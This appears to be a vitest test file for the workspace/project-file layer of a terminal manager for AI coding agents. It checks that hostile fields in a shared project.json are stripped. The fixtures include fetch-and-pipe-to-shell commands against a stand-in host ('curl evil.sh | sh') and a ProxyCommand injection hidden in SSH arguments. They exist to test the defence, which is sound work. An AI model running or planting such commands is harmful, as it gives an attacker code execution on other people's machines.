Node-based terminal manager for AI coding agents — tmux-backed terminals and parallel agent sessions as draggable nodes on an infinite pan/zoom canvas. macOS, Linux, and a browser Server Edition.
TypeScript adhdagent-orchestrationai-agentscanvasclaude-codecodexcoding-agentsdeveloper-toolselectrongeminilinuxmacosmultiplexeropencodeparallel-agentsterminalterminal-emulatorterminal-multiplexertmuxworkspace-manager
import { describe, it, expect } from 'vitest'
import type { CanvasNodeState, Project, ProjectKanban, Workspace } from '../shared/types'
import {
toPortableNodes, resolveNodes, projectToFile, fileToProject, framingViewport,
sameProjectContent, splitWorkspace, serializeProjectFile, sanitizeKanban, sanitizeHandedOffTo
} from './workspace-files'
import { legacyFileId } from '../shared/project-id'
import { CANVAS_LAYOUTS_CAP, type CanvasLayout } from '../shared/canvas-layout'
import type { ProjectFileV1 } from './workspace-files'
const node = (over: Partial<CanvasNodeState> = {}): CanvasNodeState => ({
id: 'term-abc', kind: 'terminal', position: { x: 0, y: 0 },
size: { width: 400, height: 300 }, title: 't', color: '#fff', group: null, ...over
})
const project = (over: Partial<Project> = {}): Project => ({
id: 'p1', name: 'foo', color: '#7aa2f7', viewport: { x: 0, y: 0, zoom: 1 },
nodes: [node()], ...over
})
describe('portable node cwds', () => {
it('relativizes cwds under the root with a ./ prefix and resolves them back', () => {
const nodes = [node({ cwd: '/Users/enes/projects/foo/sub' })]
const portable = toPortableNodes(nodes, '/Users/enes/projects/foo')
expect(portable[0].cwd).toBe('./sub')
expect(resolveNodes(portable, '/mnt/other/foo')[0].cwd).toBe('/mnt/other/foo/sub')
})
it('the root itself becomes "." ', () => {
const portable = toPortableNodes([node({ cwd: '/a/b' })], '/a/b')
expect(portable[0].cwd).toBe('.')
expect(resolveNodes(portable, '/x')[0].cwd).toBe('/x')
})
it('paths outside the root stay absolute, cwd-less nodes untouched', () => {
const portable = toPortableNodes([node({ cwd: '/elsewhere' }), node({ id: 'n2' })], '/a/b')
expect(portable[0].cwd).toBe('/elsewhere')
expect(portable[1].cwd).toBeUndefined()
expect(resolveNodes(portable, '/a/b')[0].cwd).toBe('/elsewhere')
})
})
describe('projectToFile / fileToProject round-trip', () => {
it('drops cwd/closed/unavailable, keeps nodes/session state, restores from base', () => {
const p = project({
cwd: '/a/b', closed: true, defaultAccountId: 'acct1', dinoHighScore: 7,
nodes: [node({ cwd: '/a/b/x', agentId: 'claude', accountId: 'acct1' })],
bridges: [{ id: 'e1', source: 's', target: 't' }]
})
const f = projectToFile(p, 3, '2026-07-11T00:00:00.000Z')
expect(f.version).toBe(1); expect(f.rev).toBe(3)
expect((f as any).cwd).toBeUndefined(); expect((f as any).closed).toBeUndefined()
expect(f.nodes[0].cwd).toBe('./x')
// Machine-local: identity, camera and account come from the index entry, never the file.
expect(f.id).not.toBe('p1')
expect(f.viewport).toEqual(framingViewport(f.nodes)) // content-derived, not this user's camera
expect(f.defaultAccountId).toBeUndefined()
const back = fileToProject(f, {
id: 'p1', cwd: '/new/root', closed: true,
viewport: { x: 5, y: 6, zoom: 2 }, defaultAccountId: 'acct1'
})
expect(back).toMatchObject({
id: 'p1', cwd: '/new/root', closed: true, defaultAccountId: 'acct1', dinoHighScore: 7,
viewport: { x: 5, y: 6, zoom: 2 }
})
expect(back.nodes[0]).toMatchObject({ cwd: '/new/root/x', agentId: 'claude', accountId: 'acct1' })
expect(back.unavailable).toBeUndefined()
})
})
describe('browser partition is re-validated on the hostile load path', () => {
// project.json is git-shared, hand-editable and auto-adopted (constraint 10); `data.partition` is
// copied verbatim to <webview partition>. A stored partition survives fileToProject ONLY when it
// is exactly the jar THIS project (base.id) would mint — anything else drops to un-owned.
const browser = (partition?: string): CanvasNodeState =>
node({ id: 'browser-1', kind: 'browser', url: 'https://x.test/', ...(partition ? { partition } : {}) })
it("drops a FOREIGN project's jar — a cloned project.json cannot name persist:...-<victim>", () => {
const f = projectToFile(project({ nodes: [browser('persist:nt-agent-browser-victim')] }), 1, 'ts', 'file-id')
const back = fileToProject(f, { id: 'p-mine' })
// The webview would have received the victim's jar; it now gets none (default session).
expect(back.nodes[0].partition).toBeUndefined()
})
it('drops an UNSAFE storage-key string (not persist:...-<isSafeNodeId>)', () => {
for (const bad of ['persist:nt-agent-browser-../../x', 'evil', 'persist:nt-agent-browser-a b', '']) {
const f = projectToFile(project({ nodes: [browser(bad)] }), 1, 'ts', 'file-id')
expect(fileToProject(f, { id: 'p-mine' }).nodes[0].partition).toBeUndefined()
}
})
it('KEEPS the jar that THIS project would mint for itself (same-machine reload)', () => {
const own = 'persist:nt-agent-browser-p-mine'
const f = projectToFile(project({ nodes: [browser(own)] }), 1, 'ts', 'file-id')
expect(fileToProject(f, { id: 'p-mine' }).nodes[0].partition).toBe(own)
})
it('leaves a user-opened (partition-less) browser node and non-browser nodes untouched', () => {
const f = projectToFile(project({ nodes: [browser(), node({ id: 't1', partition: 'x' } as never)] }), 1, 'ts', 'file-id')
const back = fileToProject(f, { id: 'p-mine' })
expect(back.nodes[0].partition).toBeUndefined() // user-opened browser: stays absent
expect((back.nodes[1] as { partition?: string }).partition).toBe('x') // non-browser: not our concern
})
})
describe('per-project capability fields in the shared file', () => {
it('a capability round-trips through projectToFile/fileToProject, and a non-literal-true does not', () => {
const p = project({ agentBrowserControl: true })
expect(projectToFile(p, 1, 'ts').agentBrowserControl).toBe(true)
const baseFile = projectToFile(project(), 1, 'ts')
expect(fileToProject({ ...baseFile, agentBrowserControl: true }, { id: 'x' }).agentBrowserControl).toBe(
true
)
// A hand-edited/hostile file carrying "true" (the string), 1 or {} is OFF — the field simply
// does not survive the read. projectCapabilityEnabled would answer false either way; this pins
// that the sanitisation happens at the FILE boundary, not only at the consumption site.
expect(
fileToProject({ ...baseFile, agentBrowserControl: 'true' } as never, { id: 'x' }).agentBrowserControl
).toBeUndefined()
})
it('agentMessaging carries an explicit FALSE through the file (it has a machine default); browser control does not', () => {
const f = projectToFile(project({ agentMessaging: false, agentBrowserControl: false }), 1, 'ts')
expect(f.agentMessaging).toBe(false)
expect('agentBrowserControl' in f).toBe(false)
const back = fileToProject(f, { id: 'x' })
expect(back.agentMessaging).toBe(false)
expect(back.agentBrowserControl).toBeUndefined()
// A non-boolean is still dropped at the boundary — it reads as absence, never as an explicit off.
const baseFile = projectToFile(project(), 1, 'ts')
expect(
fileToProject({ ...baseFile, agentMessaging: 'false' } as never, { id: 'x' }).agentMessaging
).toBeUndefined()
})
it('an off capability adds no bytes to the committed file', () => {
const f = projectToFile(project(), 1, 'ts')
expect('agentBrowserControl' in f).toBe(false)
expect(serializeProjectFile(f)).not.toContain('agentBrowserControl')
})
it('the ack is machine-local: index entry carries it, the shared file never does', () => {
const p = project({ cwd: '/a/foo', agentBrowserControl: true, capabilityAck: { agentBrowserControl: 'kept' as const } })
const { index, files } = splitWorkspace(
{ version: 2, activeProjectId: 'p1', projects: [p] },
() => 1,
'2026-08-15T00:00:00.000Z'
)
expect(index.entries[0].capabilityAck).toEqual({ agentBrowserControl: 'kept' })
expect(serializeProjectFile(files.get('/a/foo')!)).not.toContain('capabilityAck')
// Load: the ack comes from the entry; a file-borne `capabilityAck` (forgery — a repo carrying
// its own consent) is never read.
const restored = fileToProject(files.get('/a/foo')!, { id: 'p1', cwd: '/a/foo', capabilityAck: { agentBrowserControl: 'kept' as const } })
expect(restored.capabilityAck).toEqual({ agentBrowserControl: 'kept' })
const forged = fileToProject(
{ ...files.get('/a/foo')!, capabilityAck: { agentBrowserControl: 'kept' as const } } as never,
{ id: 'p1', cwd: '/a/foo' }
)
expect(forged.capabilityAck).toBeUndefined()
})
})
describe('breadcrumbs are MACHINE-LOCAL, like viewport/capabilityAck', () => {
it('round-trips through the index entry and never reaches the shared file', () => {
const stop = { nodeId: 'term-abc', at: 1000, note: 'terminal · t' }
const p = project({ cwd: '/a/foo', breadcrumbs: [stop] })
const { index, files } = splitWorkspace(
{ version: 2, activeProjectId: 'p1', projects: [p] },
() => 1,
'2026-08-15T00:00:00.000Z'
)
expect(index.entries[0].breadcrumbs).toEqual([stop])
expect(serializeProjectFile(files.get('/a/foo')!)).not.toContain('breadcrumbs')
const restored = fileToProject(files.get('/a/foo')!, {
id: 'p1', cwd: '/a/foo', breadcrumbs: [stop]
})
expect(restored.breadcrumbs).toEqual([stop])
// A file-borne `breadcrumbs` (forgery — a repo carrying navigation history) is never read.
const forged = fileToProject(
{ ...files.get('/a/foo')!, breadcrumbs: [stop] } as never,
{ id: 'p1', cwd: '/a/foo' }
)
expect(forged.breadcrumbs).toBeUndefined()
})
it('an entry with no breadcrumbs adds no bytes to the committed file', () => {
const f = projectToFile(project(), 1, 'ts')
expect('breadcrumbs' in f).toBe(false)
expect(serializeProjectFile(f)).not.toContain('breadcrumbs')
})
})
describe('canvas layouts: shared CONTENT, machine-local CAMERAS', () => {
const layout = (over: Partial<CanvasLayout> = {}): CanvasLayout => ({
id: 'lay-1', name: 'Ultrawide', createdAt: 1000, updatedAt: 2000,
nodes: [{ id: 'term-abc', x: 10, y: 20, width: 400, height: 300 }], ...over
})
it('round-trips the layouts through the shared file and the cameras through the entry', () => {
const layouts = [layout()]
const layoutViewports = { 'lay-1': { x: 5, y: 6, zoom: 2 } }
const { index, files } = splitWorkspace(
{ version: 2, activeProjectId: 'p1', projects: [project({ cwd: '/a/foo', layouts, layoutViewports })] },
() => 1,
'2026-09-07T00:00:00.000Z'
)
const file = files.get('/a/foo')!
expect(file.layouts).toEqual(layouts)
expect(index.entries[0].layoutViewports).toEqual(layoutViewports)
const restored = fileToProject(file, { id: 'p1', cwd: '/a/foo', layoutViewports })
expect(restored.layouts).toEqual(layouts)
expect(restored.layoutViewports).toEqual(layoutViewports)
})
it('never writes layoutViewports into the committed file, and never reads one planted there', () => {
const { files } = splitWorkspace(
{
version: 2, activeProjectId: 'p1',
projects: [project({ cwd: '/a/foo', layouts: [layout()], layoutViewports: { 'lay-1': { x: 5, y: 6, zoom: 2 } } })]
},
() => 1,
'ts'
)
const raw = serializeProjectFile(files.get('/a/foo')!)
expect(raw).not.toContain('layoutViewports')
// A file-borne `layoutViewports` is a forgery (a repo carrying one person's camera).
const forged = fileToProject(
{ ...files.get('/a/foo')!, layoutViewports: { 'lay-1': { x: 9, y: 9, zoom: 9 } } } as never,
{ id: 'p1', cwd: '/a/foo' }
)
expect(forged.layoutViewports).toBeUndefined()
})
it('a project with no layouts adds no bytes to the committed file', () => {
const f = projectToFile(project(), 1, 'ts')
expect('layouts' in f).toBe(false)
expect(serializeProjectFile(f)).not.toContain('layouts')
})
// Mutation pin, the shape the node-icon rules use: each seam must refuse a hostile layout on its
// own, because validating one direction passes every round-trip test while leaving the other one
// open to a peer canvas mutation or a hand edit.
it('drops a hostile layout INDEPENDENTLY in each direction', () => {
const hostile = layout({ nodes: [{ id: 'term-abc', x: NaN, y: 0, width: 1, height: 1 }] })
// Way out: a bad layout on live project data never reaches the committed file.
const f = projectToFile(project({ layouts: [hostile] }), 1, 'ts')
expect(f.layouts).toBeUndefined()
expect(serializeProjectFile(f)).not.toContain('Ultrawide')
// Way in: a bad layout planted in the file never reaches the live project.
const planted = fileToProject(
{ ...projectToFile(project(), 1, 'ts'), layouts: [hostile] },
{ id: 'p1' }
)
expect(planted.layouts).toBeUndefined()
})
it('prunes a camera naming no live layout, on save and on load', () => {
const layouts = [layout()]
const layoutViewports = {
'lay-1': { x: 1, y: 2, zoom: 1 },
'lay-gone': { x: 3, y: 4, zoom: 2 }
}
const { index, files } = splitWorkspace(
{ version: 2, activeProjectId: 'p1', projects: [project({ cwd: '/a/foo', layouts, layoutViewports })] },
() => 1,
'ts'
)
expect(index.entries[0].layoutViewports).toEqual({ 'lay-1': { x: 1, y: 2, zoom: 1 } })
// …and again on the way in, so a layout a teammate deleted cannot leave a permanent orphan.
const restored = fileToProject(files.get('/a/foo')!, { id: 'p1', cwd: '/a/foo', layoutViewports })
expect(restored.layoutViewports).toEqual({ 'lay-1': { x: 1, y: 2, zoom: 1 } })
})
it('caps an over-long list in both directions', () => {
const many = Array.from({ length: CANVAS_LAYOUTS_CAP + 3 }, (_, i) => layout({ id: `lay-${i}` }))
const f = projectToFile(project({ layouts: many }), 1, 'ts')
expect(f.layouts).toHaveLength(CANVAS_LAYOUTS_CAP)
const back = fileToProject({ ...f, layouts: many }, { id: 'p1' })
expect(back.layouts).toHaveLength(CANVAS_LAYOUTS_CAP)
})
})
describe('sameProjectContent', () => {
it('ignores rev and savedAt, sees node changes', () => {
const a = projectToFile(project(), 1, '2026-01-01T00:00:00.000Z')
const b = projectToFile(project(), 9, '2026-02-02T00:00:00.000Z')
expect(sameProjectContent(a, b)).toBe(true)
const c = projectToFile(project({ nodes: [node({ title: 'renamed' })] }), 1, a.savedAt)
expect(sameProjectContent(a, c)).toBe(false)
})
})
describe('splitWorkspace', () => {
const ws: Workspace = {
version: 2, activeProjectId: 'p1',
projects: [
project({ id: 'p1', cwd: '/a/foo' }),
project({ id: 'p2', name: 'canvas-only' }),
project({ id: 'p3', ssh: { server: { host: 'h', user: 'u' } as any, remoteCwd: '~/app' } })
]
}
it('local-cwd → ref entry + file; cwd-less → inline; ssh → ssh entry + cache', () => {
const { index, files } = splitWorkspace(ws, () => 1, '2026-07-11T00:00:00.000Z')
expect(index.version).toBe(3)
expect(index.activeProjectId).toBe('p1')
expect(index.entries[0]).toMatchObject({ id: 'p1', name: 'foo', cwd: '/a/foo' })
expect(index.entries[0].project).toBeUndefined()
// The id lives in the ENTRY; the file gets only the machine-independent legacy field.
expect(files.get('/a/foo')!.id).not.toBe('p1')
expect(files.get('/a/foo')!.id).toBe(legacyFileId('foo'))
expect(index.entries[1].project!.id).toBe('p2')
expect(index.entries[2].ssh!.remoteCwd).toBe('~/app')
// …except the ssh mirror, whose id `reconcileSsh` still reads as a lineage marker.
expect(index.entries[2].cache!.id).toBe('p3')
expect(files.has('~/app')).toBe(false) // ssh files are not local writes
})
it('two projects on the same cwd → one file + one inline entry (no last-wins clobber)', () => {
const shared: Workspace = {
version: 2, activeProjectId: 'a',
projects: [
project({ id: 'a', name: 'first', cwd: '/a/foo' }),
project({ id: 'b', name: 'second', cwd: '/a/foo' })
]
}
const { index, files } = splitWorkspace(shared, () => 1, '2026-07-11T00:00:00.000Z')
expect(files.size).toBe(1) // only the first claims the file
expect(files.get('/a/foo')!.name).toBe('first')
expect(index.entries[0]).toMatchObject({ id: 'a', cwd: '/a/foo' })
expect(index.entries[0].project).toBeUndefined()
// The second is kept verbatim inline — no file, nothing lost.
expect(index.entries[1].cwd).toBeUndefined()
expect(index.entries[1].project).toMatchObject({ id: 'b', name: 'second', cwd: '/a/foo' })
expect(index.entries[1].project!.unavailable).toBeUndefined()
})
it('two DIFFERENT folders under one id → two entries, two files, neither clobbering the other', () => {
// The last-resort guard for a duplicate id that reached save without going through the
// store's load repair (a hand-edited index, a runtime collision). Keying only by cwd let both
// entries keep the id, and every id-keyed lookup downstream resolved to the first one.
const collided: Workspace = {
version: 2, activeProjectId: 'dup',
projects: [
project({ id: 'dup', name: 'first', cwd: '/a/foo', nodes: [node({ id: 'term-a' })] }),
project({ id: 'dup', name: 'second', cwd: '/a/bar', nodes: [node({ id: 'term-b' })] })
]
}
const { index, files } = splitWorkspace(collided, () => 1, '2026-07-11T00:00:00.000Z')
expect(index.entries).toHaveLength(2)
expect(index.entries[0].id).toBe('dup') // first holder keeps it
expect(index.entries[1].id).not.toBe('dup')
expect(files.size).toBe(2)
// Neither file names a project any more — only the folder they sit in does.
expect(files.get('/a/foo')!.id).toBe(legacyFileId('first'))
expect(files.get('/a/bar')!.id).toBe(legacyFileId('second'))
expect(files.get('/a/foo')!.nodes.map((n) => n.id)).toEqual(['term-a'])
expect(files.get('/a/bar')!.nodes.map((n) => n.id)).toEqual(['term-b'])
})
it('the re-key is deterministic (same input, same index) — a save loop must not churn the file', () => {
const collided: Workspace = {
version: 2, activeProjectId: 'dup',
projects: [project({ id: 'dup', cwd: '/a/foo' }), project({ id: 'dup', cwd: '/a/bar' })]
}
const once = splitWorkspace(collided, () => 1, '2026-07-11T00:00:00.000Z')
const twice = splitWorkspace(collided, () => 1, '2026-07-11T00:00:00.000Z')
expect(twice.index.entries[1].id).toBe(once.index.entries[1].id)
})
it('same id AND same cwd still takes the inline escape hatch (no second file)', () => {
const collided: Workspace = {
version: 2, activeProjectId: 'dup',
projects: [
project({ id: 'dup', name: 'first', cwd: '/a/foo' }),
project({ id: 'dup', name: 'second', cwd: '/a/foo' })
]
}
const { index, files } = splitWorkspace(collided, () => 1, '2026-07-11T00:00:00.000Z')
expect(files.size).toBe(1)
expect(index.entries[1].project).toBeTruthy()
expect(index.entries[1].id).not.toBe('dup')
expect(index.entries[1].project!.id).toBe(index.entries[1].id)
})
it('two ssh entries under one id get distinct ids and distinct caches', () => {
const sshOf = (remoteCwd: string) => ({ server: { host: 'h', user: 'u' } as any, remoteCwd })
const collided: Workspace = {
version: 2, activeProjectId: 'dup',
projects: [
project({ id: 'dup', name: 'first', ssh: sshOf('~/one') }),
project({ id: 'dup', name: 'second', ssh: sshOf('~/two') })
]
}
const { index } = splitWorkspace(collided, () => 1, '2026-07-11T00:00:00.000Z')
expect(index.entries[0].id).toBe('dup')
expect(index.entries[1].id).not.toBe('dup')
expect(index.entries[1].cache!.id).toBe(index.entries[1].id)
})
it('never persists the runtime unavailable flag inline', () => {
const { index } = splitWorkspace(
{ version: 2, activeProjectId: 'x', projects: [project({ id: 'x', unavailable: true })] },
() => 1, '2026-07-11T00:00:00.000Z')
expect(index.entries[0].project!.unavailable).toBeUndefined()
})
it('never persists a remote (relay) project — no ref, no inline, no cache, in any branch', () => {
const ws2: Workspace = {
version: 2, activeProjectId: 'keep',
projects: [
project({ id: 'keep', name: 'normal', cwd: '/a/foo' }),
project({ id: 'r1', name: 'relay-cwdless', remote: true }),
project({ id: 'r2', name: 'relay-cwd', cwd: '/a/bar', remote: true }),
project({ id: 'r3', name: 'relay-ssh', ssh: { server: { host: 'h', user: 'u' } as any, remoteCwd: '~/app' }, remote: true })
]
}
const { index, files } = splitWorkspace(ws2, () => 1, '2026-07-11T00:00:00.000Z')
// Only the normal project is emitted; every relay project is absent entirely.
expect(index.entries.map((e) => e.id)).toEqual(['keep'])
expect(files.has('/a/bar')).toBe(false) // relay cwd never written as a file
})
it('an unavailable ref is header-only: no file (local cwd) and no cache (ssh)', () => {
const local = splitWorkspace(
{ version: 2, activeProjectId: 'p1', projects: [project({ id: 'p1', cwd: '/a/foo', unavailable: true })] },
() => 1, '2026-07-11T00:00:00.000Z')
expect(local.index.entries[0]).toMatchObject({ id: 'p1', name: 'foo', cwd: '/a/foo' })
expect(local.files.has('/a/foo')).toBe(false) // no placeholder file written over real data
const remote = splitWorkspace(
{ version: 2, activeProjectId: 'p1', projects: [project({ id: 'p1', ssh: { server: { host: 'h', user: 'u' } as any, remoteCwd: '~/app' }, unavailable: true })] },
() => 1, '2026-07-11T00:00:00.000Z')
expect(remote.index.entries[0]).toMatchObject({ id: 'p1', ssh: { remoteCwd: '~/app' } })
expect(remote.index.entries[0].cache).toBeUndefined() // no cache fabricated from the placeholder
})
})
describe('handedOffTo', () => {
const sshConn = { server: { host: 'h', user: 'u' } as any, remoteCwd: '~/app' }
const handed = { hostId: 'h1', projectId: 'project-9', at: 1 }
it('sanitizes: keeps a well-formed record, drops junk', () => {
expect(sanitizeHandedOffTo({ hostId: 'h1', projectId: 'project-1', at: 5 })).toEqual({ hostId: 'h1', projectId: 'project-1', at: 5 })
expect(sanitizeHandedOffTo({ at: 5 })).toEqual({ at: 5 }) // a handover in progress
expect(sanitizeHandedOffTo('x')).toBeUndefined()
expect(sanitizeHandedOffTo(null)).toBeUndefined()
expect(sanitizeHandedOffTo({ hostId: 7, at: 5 })).toEqual({ at: 5 })
expect(sanitizeHandedOffTo({ hostId: 'h'.repeat(200), at: 5 })).toEqual({ at: 5 })
expect(sanitizeHandedOffTo({ hostId: '', projectId: 'p'.repeat(129), at: 5 })).toEqual({ at: 5 })
expect(sanitizeHandedOffTo({ hostId: 'h1' })).toBeUndefined() // no timestamp
expect(sanitizeHandedOffTo({ hostId: 'h1', at: Number.NaN })).toBeUndefined()
expect(sanitizeHandedOffTo({ hostId: 'h1', at: '5' })).toBeUndefined()
})
it('rides the SSH index entry and never the shared file or the ssh cache', () => {
const p = project({ id: 'p3', ssh: sshConn, handedOffTo: handed })
const { index, files, dataFiles } = splitWorkspace(
{ version: 2, activeProjectId: 'p3', projects: [p] }, () => 1, '2026-07-11T00:00:00.000Z')
expect(index.entries[0].handedOffTo).toEqual(handed)
// The cache is the copy that gets mirrored to the host's project.json.
expect(index.entries[0].cache).toBeDefined()
expect(JSON.stringify(index.entries[0].cache)).not.toContain('handedOffTo')
for (const f of [...files.values(), ...dataFiles.values()]) expect(JSON.stringify(f)).not.toContain('handedOffTo')
expect(JSON.stringify(projectToFile(p, 1, '2026-07-11T00:00:00.000Z'))).not.toContain('handedOffTo')
})
it('an unavailable placeholder keeps it on its header-only entry', () => {
const { index } = splitWorkspace(
{ version: 2, activeProjectId: 'p3', projects: [project({ id: 'p3', ssh: sshConn, handedOffTo: handed, unavailable: true })] },
() => 1, '2026-07-11T00:00:00.000Z')
expect(index.entries[0].handedOffTo).toEqual(handed)
expect(index.entries[0].cache).toBeUndefined()
})
it('fileToProject restores it from the entry, and only from the entry', () => {
const f = projectToFile(project({ ssh: sshConn }), 1, '2026-07-11T00:00:00.000Z')
expect(fileToProject(f, { id: 'p1', ssh: sshConn, handedOffTo: handed }).handedOffTo).toEqual(handed)
expect('handedOffTo' in fileToProject(f, { id: 'p1', ssh: sshConn })).toBe(false)
// A field of this name in the shared file is not this machine's record and is never read.
const forged = { ...f, handedOffTo: handed } as ProjectFileV1
expect('handedOffTo' in fileToProject(forged, { id: 'p1', ssh: sshConn })).toBe(false)
})
})
describe('serializeProjectFile', () => {
it('is pretty-printed with version first (stable git diffs)', () => {
const s = serializeProjectFile(projectToFile(project(), 1, '2026-07-11T00:00:00.000Z'))
expect(s.startsWith('{\n "version": 1,\n "rev": 1,')).toBe(true)
})
})
describe('permission mode persistence', () => {
const base = {
id: 'p1',
name: 'proj',
color: '#fff',
viewport: { x: 0, y: 0, zoom: 1 },
nodes: []
}
it('round-trips a project permission-mode override', () => {
const file = projectToFile({ ...base, defaultPermissionMode: 'plan' }, 1, 'now')
expect(file.defaultPermissionMode).toBe('plan')
expect(fileToProject(file, { id: 'p1' }).defaultPermissionMode).toBe('plan')
})
it('omits the key entirely when there is no override', () => {
const file = projectToFile(base, 1, 'now')
expect('defaultPermissionMode' in file).toBe(false)
expect(fileToProject(file, { id: 'p1' }).defaultPermissionMode).toBeUndefined()
})
})
describe('exec-enabling node fields never travel in the shared project file', () => {
const hostileNodes = [
node({ id: 'n1', shell: 'curl evil.sh | sh' }),
node({ id: 'n2', ssh: { host: 'h', user: 'u', extraArgs: '-o ProxyCommand=curl evil.sh|sh' } })
]
it('projectToFile strips shell + ssh.extraArgs (a teammate who clones gets no command)', () => {
const file = projectToFile(project({ cwd: '/a/b', nodes: hostileNodes }), 1, 'now')
expect(file.nodes[0].shell).toBeUndefined()
expect(file.nodes[1].ssh?.extraArgs).toBeUndefined()
expect(serializeProjectFile(file)).not.toContain('ProxyCommand')
// the connection itself still persists (a node must reattach to its host)
expect(file.nodes[1].ssh?.host).toBe('h')
})
it('fileToProject with no local overlay drops what the FILE claimed (adopted/cloned folder)', () => {
const f = { ...projectToFile(project({ nodes: [] }), 1, 'now'), nodes: hostileNodes }
const p = fileToProject(f, { id: 'p1', cwd: '/a/b' })
expect(p.nodes[0].shell).toBeUndefined()
expect(p.nodes[1].ssh?.extraArgs).toBeUndefined()
})
it("fileToProject restores only THIS machine's values (from the local index entry)", () => {
const f = { ...projectToFile(project({ nodes: [] }), 1, 'now'), nodes: hostileNodes }
const p = fileToProject(f, { id: 'p1', cwd: '/a/b', localExec: { n1: { shell: '/bin/zsh' } } })
expect(p.nodes[0].shell).toBe('/bin/zsh')
expect(p.nodes[1].ssh?.extraArgs).toBeUndefined()
})
it('splitWorkspace keeps the local values in the machine-local index, not in the file', () => {
const p = project({
cwd: '/a/b',
nodes: [
node({ id: 'n1', shell: '/bin/zsh' }),
// execTrusted: the local producer (the user's SSH server store) set this value — see
// @shared/node-exec. Without the marker an exec-enabling arg is NOT blessed into the
// machine-local index (the case below), which is what stops a canvas-sync peer from
// laundering one in.
node({
id: 'n2',
ssh: { host: 'h', user: 'u', extraArgs: '-o ProxyCommand=corp %h', execTrusted: true }
})
]
})
const ws: Workspace = { version: 2, activeProjectId: 'p1', projects: [p] }
const { index, files } = splitWorkspace(ws, () => 1, 'now')
expect(index.entries[0].localExec).toEqual({
n1: { shell: '/bin/zsh' },
n2: { sshExtraArgs: '-o ProxyCommand=corp %h' }
})
const file = files.get('/a/b')!
expect(file.nodes[0].shell).toBeUndefined()
expect(file.nodes[1].ssh?.extraArgs).toBeUndefined()
// and the round trip through the index restores them for the local user
const back = fileToProject(file, { id: 'p1', cwd: '/a/b', localExec: index.entries[0].localExec })
expect(back.nodes[0].shell).toBe('/bin/zsh')
expect(back.nodes[1].ssh?.extraArgs).toBe('-o ProxyCommand=corp %h')
})
// C2: the laundering path. A canvas-sync peer's node is applied to the live array, and the next
// save used to harvest ITS exec fields into the machine-local index — where they are re-attached
// as this machine's own on every load, surviving the peer leaving and the app restarting. The
// inbound strip (@shared/canvas-mutations) is the primary guard; this asserts the store itself
// also refuses to bless a value no local producer vouched for.
it('splitWorkspace never blesses an exec value a local producer did not set', () => {
const p = project({
cwd: '/a/b',
nodes: [
node({ id: 'n1', shell: 'curl evil.sh | sh' }),
node({ id: 'n2', ssh: { host: 'h', user: 'u', extraArgs: '-o ProxyCommand=curl evil|sh' } })
]
})
const ws: Workspace = { version: 2, activeProjectId: 'p1', projects: [p] }
const { index } = splitWorkspace(ws, () => 1, 'now')
expect(index.entries[0].localExec).toBeUndefined()
})
})
describe('kanban board persistence', () => {
const board = {
columns: [
{ id: 'kcol-a', title: 'To Do', color: '#0a84ff' },
{ id: 'kcol-b', title: 'Done', color: '#32d74b' }
],
assignments: [{ nodeId: 'term-abc', columnId: 'kcol-a' }],
meta: [{ nodeId: 'term-abc', assignees: [{ name: 'enes', color: '#0a84ff' }], dueAt: 1784500000000 }]
}
it('rides the project file round-trip', () => {
const f = projectToFile(project({ kanban: board }), 1, '2026-07-18T00:00:00.000Z')
expect(f.kanban).toEqual(board)
expect(fileToProject(f, { id: 'p1' }).kanban).toEqual(board)
})
it('absent stays absent — no key is written (lazy default rule)', () => {
const f = projectToFile(project(), 1, '2026-07-18T00:00:00.000Z')
expect('kanban' in f).toBe(false)
expect('kanban' in fileToProject(f, { id: 'p1' })).toBe(false)
})
it('board edits break content equality (rev bumps) and survive splitWorkspace (both shells + ssh cache)', () => {
const a = projectToFile(project({ kanban: board }), 1, '2026-01-01T00:00:00.000Z')
const b = projectToFile(project(), 1, '2026-01-01T00:00:00.000Z')
expect(sameProjectContent(a, b)).toBe(false)
const ws: Workspace = { version: 2, activeProjectId: 'p1', projects: [project({ cwd: '/a/b', kanban: board })] }
const { files } = splitWorkspace(ws, () => 1, '2026-01-01T00:00:00.000Z')
expect(files.get('/a/b')?.kanban).toEqual(board)
})
it('a malformed or v1-shaped kanban from a hand-edited file is dropped, not carried', () => {
const f = projectToFile(project(), 1, '2026-07-18T00:00:00.000Z')
const evil1 = { ...f, kanban: {} } as unknown as ProjectFileV1
const evil2 = { ...f, kanban: { columns: 42, assignments: [] } } as unknown as ProjectFileV1
const v1shape = { ...f, kanban: { columns: [], cards: [] } } as unknown as ProjectFileV1
expect('kanban' in fileToProject(evil1, { id: 'p1' })).toBe(false)
expect('kanban' in fileToProject(evil2, { id: 'p1' })).toBe(false)
expect('kanban' in fileToProject(v1shape, { id: 'p1' })).toBe(false)
})
})
describe('sanitizeKanban — the board is hostile, git-shared input', () => {
const clean_ = (): ProjectKanban => clean()
const clean = (): ProjectKanban => ({
columns: [
{ id: 'kcol-a', title: 'To Do', color: '#0a84ff', category: 'unstarted' },
{ id: 'kcol-b', title: 'Done', color: '#32d74b', category: 'done' }
],
assignments: [{ nodeId: 'term-abc', columnId: 'kcol-b' }]
})
it('returns a clean board BY IDENTITY (no churn on a well-formed file)', () => {
const k = clean()
expect(sanitizeKanban(k)).toBe(k)
})
it('rejects what validKanban rejects', () => {
expect(sanitizeKanban(undefined)).toBeUndefined()
expect(sanitizeKanban({ columns: [], cards: [] })).toBeUndefined()
expect(sanitizeKanban('nope')).toBeUndefined()
})
it('keeps an UNKNOWN category string (a newer build\'s value must survive our save)', () => {
const k = { ...clean(), columns: [{ id: 'kcol-a', title: 'To Do', color: '#fff', category: 'blocked' }] }
expect(sanitizeKanban(k)?.columns[0]).toEqual({ id: 'kcol-a', title: 'To Do', color: '#fff', category: 'blocked' })
})
it('drops a NON-string category without throwing, keeping the column', () => {
const k = { ...clean(), columns: [{ id: 'kcol-a', title: 'To Do', color: '#fff', category: { evil: 1 } }] }
expect(sanitizeKanban(k)?.columns).toEqual([{ id: 'kcol-a', title: 'To Do', color: '#fff' }])
})
it('drops column entries a renderer would crash on (non-object, missing id/title)', () => {
const k = {
columns: [null, 42, { id: 'x' }, { title: 'no id' }, { id: 'ok', title: { oops: 1 } }, clean().columns[0]],
assignments: []
}
expect(sanitizeKanban(k)?.columns).toEqual([clean().columns[0]])
})
it('drops malformed assignments and keeps the rest', () => {
const k = { ...clean(), assignments: [null, { nodeId: 1, columnId: 'kcol-a' }, { nodeId: 'n' }, { nodeId: 'n', columnId: 'kcol-a' }] }
expect(sanitizeKanban(k)?.assignments).toEqual([{ nodeId: 'n', columnId: 'kcol-a' }])
})
